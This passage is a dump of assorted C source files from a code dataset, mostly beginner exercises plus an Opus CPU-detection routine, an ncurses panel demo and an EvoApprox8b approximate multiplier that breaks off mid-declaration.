file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/814785.c
a, b, c; long d() { int e = a; if (c) if ((e = b) == 0) f(); return e ?: d; }
the_stack_data/1050033.c
#include <stdio.h> int main() { int A, B, C; printf("Enter three numbers: "); scanf("%d %d %d", &A, &B, &C); if (A >= B) { if (A >= C) printf("%d is the largest number.", A); else printf("%d is the largest number.", C); } else { if (B >= C) printf("%d is the largest number.", B); else printf("%d is the largest number.", C); } return 0; }
the_stack_data/76700814.c
#include <stdio.h> #include <pthread.h> // #include "mythreads.h" static volatile int counter = 0; void *mythread(void * arg) { printf("%s: begin\n", (char *) arg); int i; for(i = 0; i < 1e7; i++) { counter = counter + 1; } printf("%s: done\n", (char *) arg); return NULL; } int main(int argc, char *argv[]) { pthread_t p1, p2; printf("main: begin (counter = %d)\n", counter); pthread_create(&p1, NULL, mythread, "A"); pthread_create(&p2, NULL, mythread, "B"); pthread_join(p1, NULL); pthread_join(p2, NULL); printf("main: done with both (counter = %d)\n", counter); return 0; }
the_stack_data/150899.c
/*prog0510.c : Funções e Prodedimentos *AUTOR: Luis Damas *DATA: 14/12/2020 */ #include <stdio.h> float Pot(float x, int n) { float res; int i; for (i=1, res=1.0; i<=n; i++) res*=x; return res; } int main() { float x; int n; printf("Digite o numerador e a potencia: "); scanf("%f%d",&x,&n); printf("A potência de %.2f elevado a %d é: %.2f",x,n,Pot(x,n)); return 0; }
the_stack_data/139153.c
#include <stdlib.h> int * int_set_intersect(unsigned int *n_out, int *one, unsigned int n_one, int *two, unsigned int n_two) { int *out = calloc(n_one + n_two, sizeof(int)); unsigned int one_i = 0; unsigned int two_i = 0; unsigned int out_i = 0; while (one[one_i] <= two[two_i] && one_i < n_one && two_i < n_two) { if (one[one_i] < two[two_i]) { one_i++; continue; } if (one[one_i] == two[two_i]) { out[out_i++] = one[one_i]; one_i++; two_i++; continue; } } out = realloc(out, out_i); *n_out = out_i; return out; }
the_stack_data/1068639.c
//b. To echo the character received as input demonstrating scanf() and printf(). #include <stdio.h> int main() { char ch; printf("Enter a character:"); scanf("%c", &ch); printf("You entered '%c'", ch); return 0; }
the_stack_data/54825523.c
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> typedef struct _polynomial { int coef; int exp; struct _polynomial* next; } Monomial; typedef struct _list { Monomial* head; int DataCount; } List; Monomial* Init(List* target); void appendTerm(List* target, Monomial** k, int c, int e); List* addPoly(List* x, List* y); void freeNode(List* target); bool showEquation(List* target); int main(void) { int polyCount; int c, e; int i, j; // For Loop List polyArr[2]; Monomial* arr[2] = { Init(&polyArr[0]), Init(&polyArr[1]) }; List* result = NULL; for (i = 0; i < 2; i++) { scanf("%d", &polyCount); getchar(); for (j = 0; j < polyCount; j++) { scanf("%d %d", &c, &e); appendTerm(&polyArr[i], &arr[i], c, e); } getchar(); } for (i = 0; i < 2; i++) arr[i] = polyArr->head; result = addPoly(&polyArr[0], &polyArr[1]); showEquation(result); freeNode(&polyArr[0]); freeNode(&polyArr[1]); freeNode(result); free(result); return 0; } Monomial* Init(List* target) { target->head = (Monomial*)malloc(sizeof(Monomial)); if (target->head == NULL) exit(EXIT_FAILURE); target->head->next = NULL; target->DataCount = 0; Monomial* last = target->head; return last; } void appendTerm(List* target, Monomial** k, int c, int e) { Monomial* append = (Monomial*)malloc(sizeof(Monomial)); if (!append) exit(EXIT_FAILURE); append->coef = c; append->exp = e; append->next = NULL; (*k)->next = append; // Caution! (*k) ==> _polynomial* type *k = append; target->DataCount++; } List* addPoly(List* x, List* y) { List* result = (List*)malloc(sizeof(List)); if (!result) exit(EXIT_FAILURE); Monomial* k = Init(result); Monomial* i = x->head->next; Monomial* j = y->head->next; int sum; while ((i != NULL) & (j != NULL)) { sum = 0; if (i->exp > j->exp) { appendTerm(result, &k, i->coef, i->exp); i = i->next; } else if (i->exp < j->exp) { appendTerm(result, &k, j->coef, j->exp); j = j->next; } else { sum = i->coef + j->coef; if (sum) appendTerm(result, &k, sum, i->exp); i = i->next; j = j->next; } } while (i) { appendTerm(result, &k, i->coef, i->exp); i = i->next; } while (j) { appendTerm(result, &k, j->coef, j->exp); j = j->next; } return result; } bool showEquation(List* target) { Monomial* pos = target->head; if (!target->DataCount) return false; for (int i = 0; i < target->DataCount; i++) { pos = pos->next; printf(" %d %d", pos->coef, pos->exp); } putchar('\n'); return true; } void freeNode(List* target) { Monomial* pos = target->head; Monomial* rpos = pos; if (!target->DataCount) free(target->head); for (int i = 0; i < target->DataCount; i++) { pos = rpos->next; free(rpos); rpos = pos; } }
the_stack_data/193892677.c
/*Exercise 2 - Selection Write a program to calculate the amount to be paid for a rented vehicle. • Input the distance the van has travelled • The first 30 km is at a rate of 50/= per km. • The remaining distance is calculated at the rate of 40/= per km. e.g. Distance -> 20 Amount = 20 x 50 = 1000 Distance -> 50 Amount = 30 x 50 + (50-30) x 40 = 2300*/ #include <stdio.h> int main() { int distance, amount; printf("Input the distance :"); scanf("%d", &distance);// read distance if(distance <= 30) { amount = distance*50;//find amount printf("Amount : %d\n", amount);//Display amount } if(distance > 30) { amount = ((30*50) + (distance - 30)*40);//find amount printf("Amount : %d", amount);//Display amount } return 0; }
the_stack_data/153642.c
/* APPLE LOCAL file 4099020 */ /* { dg-do compile { target i?86-*-* } } */ /* { dg-require-effective-target ilp32 } */ /* { dg-options "-O2 -msse2 -march=pentium4" } */ /* { dg-final { scan-assembler-times "movq\[^\\n\]*" 3} } */ /* Verify that we generate proper instruction with memory operand. */ #include <emmintrin.h> __m128i t1(__m128i *p) { return _mm_loadl_epi64(p); /* 64-bit, zero-extended result in %xmm. */ } void t2(__m128i *p, __m128i a) { _mm_storel_epi64(p, a); /* 64-bit store from %xmm. */ } __m128i t3(__m128i a) { return _mm_move_epi64(a); /* 64-bit move between %xmm registers. */ }
the_stack_data/313410.c
#include <stdio.h> int main(){ int i = 0; float num, sum = 0; while(i < 25){ i++; printf("Type the float : "); scanf("%f",&num); sum += num; } printf("Sum = %f, Average = %f, Count = %d", sum, sum/i, i); return 0; }
the_stack_data/57950053.c
int el1_lower_sync_handler() { while(1); } int el1_lower_irq_handler() { while(1); }
the_stack_data/29825429.c
// Test if a point is inside a triangle. // Julian Saknussemm // // Given Three points of a triangle, and another arbitrary point this program determines if that point lies inside // the triangle. // // This is determined by satisfying the following rule: // A point P(x,y) is inside triangle A(x0,y0), B(x1,y1), C(x2,y2) // iff // P is on the same side of the line AB as C // P is on the same side of the line BC as A // and // P is on the same side of the line AC as B // // A special case exits for a vertical line (inf gradient) when testing the side of the line #include <stdio.h> int test2( double px, double py, double m, double b ) { if( py < m * px + b ) { return -1; // point is under line }else if ( py == m * px + b ){ return 0; } else { return 1; // over } } int // two points lie on the same side of a line test1( double px, double py, double m,double b, double lx,double ly) { return (test2( px,py, m,b )==test2(lx,ly,m,b)); } int tritest(double x0,double y0,double x1,double y1,double x2,double y2,double px, double py){ int line1, line2, line3; // line eqns double m01 = (y1-y0)/(x1-x0); // b: y - y1 = m( x - x1 ), x = 0 double b01 = m01 * -x1 + y1; double m02, m12, b02, b12; m02 = (y2-y0)/(x2-x0); m12 = (y2-y1)/(x2-x1); b02 = m02 * -x2 + y2; b12 = m12 * -x2 + y2; // vertical line checks if( x1 == x0 ) { line1 = ( (px <= x0) == (x2 <= x0) ); } else { line1 = test1( px, py, m01, b01,x2,y2); } if( x1 == x2 ) { line2 = ( (px <= x2) == (x0 <= x2) ); } else { line2 = test1(px,py, m12, b12,x0,y0); } if( x2 == x0 ) { line3 = ( (px <= x0 ) == (x1 <= x0) );} else { line3 = test1(px, py, m02,b02,x1,y1); } return line1 && line2 && line3; } int main(int argc, char* argv[]) { double x0,y0,x1,y1,x2,y2,px; double py; int scanfsReturnValueAggregatedOverAllScanfs = 0; // get input printf("Triangle Vertex A (x,y): "); scanfsReturnValueAggregatedOverAllScanfs += scanf("%lf,%lf", &x0,&y0); printf("Triangle Vertex B (x,y): "); scanfsReturnValueAggregatedOverAllScanfs += scanf("%lf,%lf", &x1,&y1); printf("Triangle Vertex C (x,y): "); scanfsReturnValueAggregatedOverAllScanfs += scanf("%lf,%lf", &x2,&y2); printf("Test Point (x,y): "); scanfsReturnValueAggregatedOverAllScanfs += scanf("%lf,%lf", &px,&py); // print error if( scanfsReturnValueAggregatedOverAllScanfs != 8 ) { printf("You're stupid and didn't put in the right inputs!\n"); return 1; } // print answer printf("Point (%.2lf,%.2lf) is ", px,py); if(tritest(x0,y0,x1,y1,x2,y2,px,py)) printf("inside"); else printf("outside"); printf(" the Triangel\n"); // return 0 return 0; }
the_stack_data/194442.c
/* Copyright (c) 2010 Xiph.Org Foundation * Copyright (c) 2013 Parrot */ /* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Original code from libtheora modified to suit to Opus */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #ifdef OPUS_HAVE_RTCD #include "armcpu.h" #include "cpu_support.h" #include "os_support.h" #include "opus_types.h" #define OPUS_CPU_ARM_V4 (1) #define OPUS_CPU_ARM_EDSP (1<<1) #define OPUS_CPU_ARM_MEDIA (1<<2) #define OPUS_CPU_ARM_NEON (1<<3) #if defined(_MSC_VER) /*For GetExceptionCode() and EXCEPTION_ILLEGAL_INSTRUCTION.*/ # define WIN32_LEAN_AND_MEAN # define WIN32_EXTRA_LEAN # include <windows.h> static OPUS_INLINE opus_uint32 opus_cpu_capabilities(void){ opus_uint32 flags; flags=0; /* MSVC has no OPUS_INLINE __asm support for ARM, but it does let you __emit * instructions via their assembled hex code. * All of these instructions should be essentially nops. */ # if defined(OPUS_ARM_MAY_HAVE_EDSP) __try{ /*PLD [r13]*/ __emit(0xF5DDF000); flags|=OPUS_CPU_ARM_EDSP; } __except(GetExceptionCode()==EXCEPTION_ILLEGAL_INSTRUCTION){ /*Ignore exception.*/ } # if defined(OPUS_ARM_MAY_HAVE_MEDIA) __try{ /*SHADD8 r3,r3,r3*/ __emit(0xE6333F93); flags|=OPUS_CPU_ARM_MEDIA; } __except(GetExceptionCode()==EXCEPTION_ILLEGAL_INSTRUCTION){ /*Ignore exception.*/ } # if defined(OPUS_ARM_MAY_HAVE_NEON) __try{ /*VORR q0,q0,q0*/ __emit(0xF2200150); flags|=OPUS_CPU_ARM_NEON; } __except(GetExceptionCode()==EXCEPTION_ILLEGAL_INSTRUCTION){ /*Ignore exception.*/ } # endif # endif # endif return flags; } #elif defined(__linux__) /* Linux based */ opus_uint32 opus_cpu_capabilities(void) { opus_uint32 flags = 0; FILE *cpuinfo; /* Reading /proc/self/auxv would be easier, but that doesn't work reliably on * Android */ cpuinfo = fopen("/proc/cpuinfo", "r"); if(cpuinfo != NULL) { /* 512 should be enough for anybody (it's even enough for all the flags that * x86 has accumulated... so far). */ char buf[512]; while(fgets(buf, 512, cpuinfo) != NULL) { # if defined(OPUS_ARM_MAY_HAVE_EDSP) || defined(OPUS_ARM_MAY_HAVE_NEON) /* Search for edsp and neon flag */ if(memcmp(buf, "Features", 8) == 0) { char *p; # if defined(OPUS_ARM_MAY_HAVE_EDSP) p = strstr(buf, " edsp"); if(p != NULL && (p[5] == ' ' || p[5] == '\n')) flags |= OPUS_CPU_ARM_EDSP; # endif # if defined(OPUS_ARM_MAY_HAVE_NEON) p = strstr(buf, " neon"); if(p != NULL && (p[5] == ' ' || p[5] == '\n')) flags |= OPUS_CPU_ARM_NEON; # endif } # endif # if defined(OPUS_ARM_MAY_HAVE_MEDIA) /* Search for media capabilities (>= ARMv6) */ if(memcmp(buf, "CPU architecture:", 17) == 0) { int version; version = atoi(buf+17); if(version >= 6) flags |= OPUS_CPU_ARM_MEDIA; } # endif } fclose(cpuinfo); } return flags; } #else /* The feature registers which can tell us what the processor supports are * accessible in priveleged modes only, so we can't have a general user-space * detection method like on x86.*/ # error "Configured to use ARM asm but no CPU detection method available for " \ "your platform. Reconfigure with --disable-rtcd (or send patches)." #endif int opus_select_arch(void) { opus_uint32 flags = opus_cpu_capabilities(); int arch = 0; if(!(flags & OPUS_CPU_ARM_EDSP)) return arch; arch++; if(!(flags & OPUS_CPU_ARM_MEDIA)) return arch; arch++; if(!(flags & OPUS_CPU_ARM_NEON)) return arch; arch++; return arch; } #endif
the_stack_data/312798.c
#include <panel.h> int main() { WINDOW *my_wins[3]; PANEL *my_panels[3]; int lines = 10, cols = 40, y = 2, x = 4, i; initscr(); cbreak(); noecho(); /* Create windows for the panels */ my_wins[0] = newwin(lines, cols, y, x); my_wins[1] = newwin(lines, cols, y + 1, x + 5); my_wins[2] = newwin(lines, cols, y + 2, x + 10); /* * Create borders around the windows so that you can see the effect * of panels */ for(i = 0; i < 3; ++i) box(my_wins[i], 0, 0); /* Attach a panel to each window */ /* Order is bottom up */ my_panels[0] = new_panel(my_wins[0]); /* Push 0, order: stdscr-0 */ my_panels[1] = new_panel(my_wins[1]); /* Push 1, order: stdscr-0-1 */ my_panels[2] = new_panel(my_wins[2]); /* Push 2, order: stdscr-0-1-2 */ /* Update the stacking order. 2nd panel will be on top */ update_panels(); /* Show it on the screen */ doupdate(); getch(); endwin(); }
the_stack_data/474959.c
extern const unsigned char CorePlotVersionString[]; extern const double CorePlotVersionNumber; const unsigned char CorePlotVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:CorePlot PROJECT:Pods-1" "\n"; const double CorePlotVersionNumber __attribute__ ((used)) = (double)1.;
the_stack_data/70450554.c
#include <stdio.h> #include <stdlib.h> /* Funçãoo : Pesquisa usando busca binaria (vetores) Autor : Edkallenn - Data : 10/04/2012 Obs: Esta é a versão mais simples, mas com funcoes */ #define TAM 20 //tamanho maximo do vetor int busca_binaria(int [], int, int, int); void imprime_cabecalho(void); void imprime_linha(int b[], int menor, int med, int maior); void preenche_vetor(int n, int []); void exibe_vetor(int tamanho, int *); void ordena_bolha_asc_int(int tamanho, int *); int main(){ int vetor[TAM], chave_busca, resultado; //declara o vetor preenche_vetor(TAM, vetor); //preenche vetor - mesma funcao anterior printf("\n\nO vetor digitado eh\n"); exibe_vetor(TAM, vetor); //exibe o vetor ordena_bolha_asc_int(TAM, vetor); //entra com a chave de pesquisa printf("\n\nEntre com o inteiro para a chave de pesquisa: \n"); scanf("%d", &chave_busca); imprime_cabecalho(); resultado = busca_binaria(vetor, chave_busca, 0, TAM-1); if(resultado!=-1) printf("\n%d Encontrado no elemento do vetor: %d\n", chave_busca, resultado); else printf("%d nao encontrado ", chave_busca); getchar(); return 0; } int busca_binaria(int b[], int chave_busca, int menor, int maior){ int meio; while(menor<=maior){ meio=(menor+maior)/2; imprime_linha(b, menor, meio, maior); if(chave_busca==b[meio]) return meio; else if(chave_busca<b[meio]) maior = meio-1; else menor = meio +1; } return -1; } void imprime_cabecalho(void){ int i; printf("\nIndices\n"); for (i=0; i<TAM; i++) printf("%3d ", i); printf("\n"); for (i=0; i<4*TAM; i++) printf("-"); printf("\n"); } void imprime_linha(int b[], int menor, int med, int maior){ int i; for(i=0; i<TAM;i++) if((i<menor)||(i>maior)) printf(" "); else if (i==med) printf("%3d*", b[i]); //marca o valor do meio else printf("%3d ", b[i]); printf("\n"); } void ordena_bolha_asc_int(int tamanho, int a[]){ int pass, i, aux; for (pass=1;pass<tamanho;pass++) //passadas for(i=0;i<=tamanho-2;i++) //uma passada if(a[i]>a[i+1]){ //uma comparacao aux=a[i]; //uma permuta a[i]=a[i+1]; a[i+1]=aux; } } void preenche_vetor(int tamanho, int vet[]){ // Preenche o vetor int i; for (i=0;i<tamanho;++i){ printf("\nDigite o elemento %d do vetor: ", i); scanf("%d", &vet[i]); } } void exibe_vetor(int tamanho, int v[]){ //Exibe int t; for (t=0;t<tamanho;t++) printf("%-4d ", v[t]); }
the_stack_data/122016335.c
#include<stdio.h> struct Point { int x, y; }; int main() { //Create an array of structures struct Point arr[10]; //Access array members arr[0].x = 10; arr[0].y = 20; printf("%d %d", arr[0].x, arr[0].y); return 0; }
the_stack_data/115765717.c
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(void) { int count[10] = {0}; for (int i = 0; i < 10; i++) { srand((unsigned int) time(0)); for (int j = 0; j < 1000; j++) { int tmp = rand() % 10 + 1; count[tmp - 1]++; } for (int i = 0; i < 10; i++) { printf("%d ", count[i]); count[i] = 0; } printf("\n"); } return 0; }
the_stack_data/82337.c
#include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> //char a[10] = {'+', '-', '+', '-'}; //char b[10] = {'+', '-', '?', '?'}; char a[11]; char b[11]; int answer, count; int main() { int i; while (~scanf("%s%s", a, b)) { answer = 0; for (i = 0; a[i]; i++) { answer += a[i] == '+' ? 1 : -1; } // printf("%d\n", answer); int move = 0; for (i = 0; b[i]; i++) { move += (b[i] == '?'); } // printf("%d\n", move); count = 0; dfs(0, 0); printf("%.12f\n", 1.0 * count / (1 << move)); } } void dfs(int temp, int i) { if (b[i] == '\0') { if (temp == answer) count++; return; } if (b[i] == '-' || b[i] == '?') dfs(temp - 1, i + 1); if (b[i] == '+' || b[i] == '?') dfs(temp + 1, i + 1); }
the_stack_data/102982.c
/* Each line of input (except the last) contains a number n ≤ 50. The last line contains 0 and this line should not be processed. For each number from the input produce two lines of output. The first line presents the sequence of discarded cards, the second line reports the last remaining card. Input The input file contains a non determinated number of lines. Each line contains an integer number. The last line contain the number zero (0). Output For each test case, print two lines. The first line presents the sequence of discarded cards, each number separated by a comma ',' and one blank space. The second line reports the last remaining card. No line will have leading or trailing spaces. See the sample for the expected format. Input Samples: 7 19 10 6 0 Output Samples: Discarded cards: 1, 3, 5, 7, 4, 2 Remaining card: 6 Discarded cards: 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 4, 8, 12, 16, 2, 10, 18, 14 Remaining card: 6 Discarded cards: 1, 3, 5, 7, 9, 2, 6, 10, 8 Remaining card: 4 Discarded cards: 1, 3, 5, 2, 6 Remaining card: 4 link: https://www.urionlinejudge.com.br/judge/en/problems/view/1110 STATUS: ACCEPTED */ #include <stdio.h> #include <stdlib.h> typedef struct Node{ int data; struct Node *next; } Node; typedef struct Queue{ struct Node *head; struct Node *tail; int size; } Queue; Node *create_node(){ Node *new_node = malloc(sizeof(Node)); new_node -> next = NULL; return new_node; } Queue *create_queue(){ Queue *new_queue = malloc(sizeof(Queue)); new_queue -> head = NULL; new_queue -> tail = NULL; new_queue -> size = 0; return new_queue; } int insert(Queue *queue, int number){ Node *new_node = create_node(); new_node -> data = number; if(queue->head == NULL && queue->tail == NULL){ queue->tail = new_node; queue -> head = new_node; } else{ queue->tail -> next = new_node; queue->tail = new_node; } queue -> size++; return 1; } int remove_it(Queue *queue, int *number){ if(queue->head == NULL) return 0; *number = queue -> head -> data; Node *garbage = queue -> head; queue -> head = queue -> head -> next; free(garbage); queue -> size--; return 1; } void print_queue(Node *node){ if(node != NULL){ printf("%d -> ", node -> data); print_queue(node -> next); } else printf(" NULL\n"); } int main(){ int input; scanf("%d", &input); while(input!=0){ Queue *queue = create_queue(); int aux = 1; for(aux; aux <= input; aux++){ insert(queue, aux); } int removed; printf("Discarded cards:"); while(queue -> size != 1){ remove_it(queue, &removed); if(queue -> size != 1) printf(" %d,", removed); else printf(" %d", removed); remove_it(queue, &removed); insert(queue, removed); } remove_it(queue, &removed); printf("\nRemaining card: %d\n", removed); scanf("%d", &input); } }
the_stack_data/1133757.c
int glui_img_radiobutton_1[] = { 14, 14, /* width, height */ 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 255,255,255, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 255,255,255, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 192,192,192, 192,192,192, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 192,192,192, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0, 255,255,255, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 128,128,128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128,128,128, 128,128,128, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 128,128,128, 128,128,128, 128,128,128, 128,128,128, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192, };
the_stack_data/90763852.c
#include<stdio.h> #define INFINITY 999 #define MAX 10 void dijikstra(int G[MAX][MAX], int n, int source) { int cost[MAX][MAX], w[MAX], pred[MAX]; int visited[MAX], count, mindistance, nextnode, i,j; for(i=0;i < n;i++) for(j=0;j < n;j++) if(G[i][j]==0) cost[i][j]=INFINITY; else cost[i][j]=G[i][j]; for(i=0;i< n;i++) { w[i]=cost[source][i]; pred[i]=source; visited[i]=0; } w[source]=0; visited[source]=1; count=1; while(count < n-1){ mindistance=INFINITY; for(i=0;i < n;i++) if(w[i] < mindistance && !visited[i]) { mindistance=w[i]; nextnode=i; } visited[nextnode]=1; for(i=0;i < n;i++) if(!visited[i]) if(mindistance+cost[nextnode][i] < w[i]) { w[i]=mindistance+cost[nextnode][i]; pred[i]=nextnode; } count++; } for(i=0;i < n;i++) if(i!=source) { printf("\nDistance of %d = %d", i, w[i]); printf("\nPath = %d", i); j=i; do { j=pred[j]; printf(" <-%d", j); } while(j!=source); } } void main(){ int G[MAX][MAX], i, j, n, u; printf("Enter the no. of vertices:: "); scanf("%d", &n); printf("Enter the adjacency cost matrix::\n"); for(i=0;i < n;i++) for(j=0;j < n;j++) scanf("%d", &G[i][j]); printf("Enter the starting node:: "); scanf("%d", &u); dijikstra(G,n,u); printf("\n"); } /* 0 4 0 0 0 0 0 8 0 4 0 8 0 0 0 0 11 0 0 8 0 7 0 4 0 0 2 0 0 7 0 9 14 0 0 0 0 0 0 9 0 10 0 0 0 0 0 4 14 10 0 2 0 0 0 0 0 0 0 2 0 1 6 8 11 0 0 0 0 1 0 7 0 0 2 0 0 0 6 7 0 //////////////////// 0 1 1 1 1 0 1 0 1 1 0 1 1 0 1 0 */
the_stack_data/62671.c
#include "stdio.h" #define BUFLEN 1024 static char buf[BUFLEN]; char * readline(const char *prompt) { int i, c, echoing; if (prompt != NULL) cprintf("%s", prompt); i = 0; echoing = iscons(0); while (1) { c = getchar(); if (c < 0) { cprintf("read error: %e\n", c); return NULL; } else if ((c == '\b' || c == '\x7f') && i > 0) { if (echoing) cputchar('\b'); i--; } else if (c >= ' ' && i < BUFLEN-1) { if (echoing) cputchar(c); buf[i++] = c; } else if (c == '\n' || c == '\r') { if (echoing) cputchar('\n'); buf[i] = 0; return buf; } } }
the_stack_data/45137.c
extern int SecMain(void); int main() { int ReturnValue; ReturnValue = SecMain(); return ReturnValue; }
the_stack_data/154830935.c
#include<stdio.h> int main(){ int N, i, vlr1 = 1, vlr2= 2, vlr3 = 3; scanf("%d", &N); for(i=0; i<N; i++){ printf("%d %d %d PUM\n", vlr1, vlr2, vlr3); vlr1 += 4; vlr2 += 4; vlr3 += 4; } return 0; }
the_stack_data/115766887.c
/*** * This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License. * When used, please cite the following article(s): V. Mrazek, R. Hrbacek, Z. Vasicek and L. Sekanina, "EvoApprox8b: Library of approximate adders and multipliers for circuit design and benchmarking of approximation methods". Design, Automation & Test in Europe Conference & Exhibition (DATE), 2017, Lausanne, 2017, pp. 258-261. doi: 10.23919/DATE.2017.7926993 * This file contains a circuit from evoapprox8b dataset. Note that a new version of library was already published. ***/ #include <stdint.h> #include <stdlib.h> /// Approximate function mul8_403 /// Library = EvoApprox8b /// Circuit = mul8_403 /// Area (180) = 6523 /// Delay (180) = 4.710 /// Power (180) = 3054.90 /// Area (45) = 481 /// Delay (45) = 1.710 /// Power (45) = 265.10 /// Nodes = 112 /// HD = 266059 /// MAE = 102.58966 /// MSE = 27185.06250 /// MRE = 2.53 % /// WCE = 946 /// WCRE = 200 % /// EP = 94.8 % uint16_t mul8_403(uint8_t a, uint8_t b) { uint16_t c = 0; uint8_t n0 = (a >> 0) & 0x1; uint8_t n2 = (a >> 1) & 0x1; uint8_t n4 = (a >> 2) & 0x1; uint8_t n6 = (a >> 3) & 0x1; uint8_t n8 = (a >> 4) & 0x1; uint8_t n10 = (a >> 5) & 0x1; uint8_t n12 = (a >> 6) & 0x1; uint8_t n14 = (a >> 7) & 0x1; uint8_t n16 = (b >> 0) & 0x1; uint8_t n18 = (b >> 1) & 0x1; uint8_t n20 = (b >> 2) & 0x1; uint8_t n22 = (b >> 3) & 0x1; uint8_t n24 = (b >> 4) & 0x1; uint8_t n26 = (b >> 5) & 0x1; uint8_t n28 = (b >> 6) & 0x1; uint8_t n30 = (b >> 7) & 0x1; uint8_t n32; uint8_t n33; uint8_t n34; uint8_t n35; uint8_t n38; uint8_t n39; uint8_t n41; uint8_t n46; uint8_t n47; uint8_t n49; uint8_t n50; uint8_t n55; uint8_t n65; uint8_t n67; uint8_t n68; uint8_t n69; uint8_t n77; uint8_t n82; uint8_t n86; uint8_t n94; uint8_t n102; uint8_t n103; uint8_t n114; uint8_t n115; uint8_t n132; uint8_t n148; uint8_t n161; uint8_t n221; uint8_t n232; uint8_t n264; uint8_t n282; uint8_t n364; uint8_t n382; uint8_t n398; uint8_t n399; uint8_t n414; uint8_t n415; uint8_t n514; uint8_t n532; uint8_t n548; uint8_t n614; uint8_t n632; uint8_t n648; uint8_t n664; uint8_t n682; uint8_t n683; uint8_t n732; uint8_t n748; uint8_t n764; uint8_t n782; uint8_t n798; uint8_t n814; uint8_t n832; uint8_t n845; uint8_t n864; uint8_t n865; uint8_t n882; uint8_t n883; uint8_t n898; uint8_t n899; uint8_t n914; uint8_t n915; uint8_t n932; uint8_t n933; uint8_t n948; uint8_t n949; uint8_t n982; uint8_t n998; uint8_t n1014; uint8_t n1032; uint8_t n1048; uint8_t n1064; uint8_t n1082; uint8_t n1114; uint8_t n1132; uint8_t n1148; uint8_t n1149; uint8_t n1164; uint8_t n1165; uint8_t n1182; uint8_t n1183; uint8_t n1198; uint8_t n1199; uint8_t n1214; uint8_t n1215; uint8_t n1232; uint8_t n1248; uint8_t n1264; uint8_t n1282; uint8_t n1298; uint8_t n1314; uint8_t n1332; uint8_t n1348; uint8_t n1364; uint8_t n1382; uint8_t n1383; uint8_t n1398; uint8_t n1399; uint8_t n1414; uint8_t n1415; uint8_t n1432; uint8_t n1433; uint8_t n1448; uint8_t n1449; uint8_t n1464; uint8_t n1465; uint8_t n1482; uint8_t n1483; uint8_t n1498; uint8_t n1514; uint8_t n1532; uint8_t n1548; uint8_t n1564; uint8_t n1582; uint8_t n1598; uint8_t 